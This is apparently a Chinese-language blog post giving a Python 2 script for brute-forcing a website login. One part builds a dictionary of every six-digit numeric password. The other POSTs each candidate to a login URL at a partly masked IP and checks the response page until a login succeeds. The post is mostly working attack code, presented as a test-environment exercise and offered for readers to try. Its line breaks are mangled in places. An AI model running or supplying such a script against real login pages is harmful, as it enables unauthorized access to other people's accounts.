python 暴力破解密码脚本
以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的,
假设要暴力破解登陆网站www.a.com 用户 testUser的密码,
首先,该网站登陆的验证要支持 无限次的密码尝试
假设testUser 的密码为 6位的纯数字
1:先长成 6位纯数字密码字典
import os pds=[] rg=range(0,10) for first in rg:
for second in rg:
for three in rg:
for four in rg:
for five in rg:
for six in rg:
num= "%s%s%s%s%s%s"%(first,second,three,four,five,six)
pds.append(num) file_object = open('/Users/teso/Desktop/pwdNum6.txt', 'w')
file_object.writelines(['%s%s' % (x,os.linesep) for x in pds])
file_object.close( )
上面脚本会在桌面生成 6位数字的所有密码字典 pwdNum6.txt
2: 研究 www.a.com 网站的登陆验证机制,脚本暴力破解密码
import urllib,urllib2,HTMLParser #解析网页的爬虫
class OAParser(HTMLParser.HTMLParser):
def __init__(self):
HTMLParser.HTMLParser.__init__(self)
self.pd=[]
def handle_data(self, data):
#print "Encountered some data :", data
self.pd.append(data) #暴力破解脚本
def tryLogin(name,pwd):
parm={"loginName":name,
"password":pwd}
url="http://192.**.*.*/***/login/li"
r=urllib2.urlopen(url, urllib.urlencode(parm))
parse=OAParser()
parse.feed(r.read())
parse.close()
isFind=False
if "用户登录" in parse.pd:#这里是对应网站的密码验证逻辑
print '尝试密码',pwd,'登陆失败'
isFind = False
else:
print user,'登陆成功','password = ',pwd
isFind=True
del(parse) return isFind user='testUser'
#password=['1','12','123','1234','12345','123456','12345678']
fpath='/Users/teso/Desktop/pwdNum6.txt'
pfile=open(fpath,'r') for onePwd in pfile.readlines():
if tryLogin(user, onePwd[:6]):
break;
流程大致如此,自行研究着玩了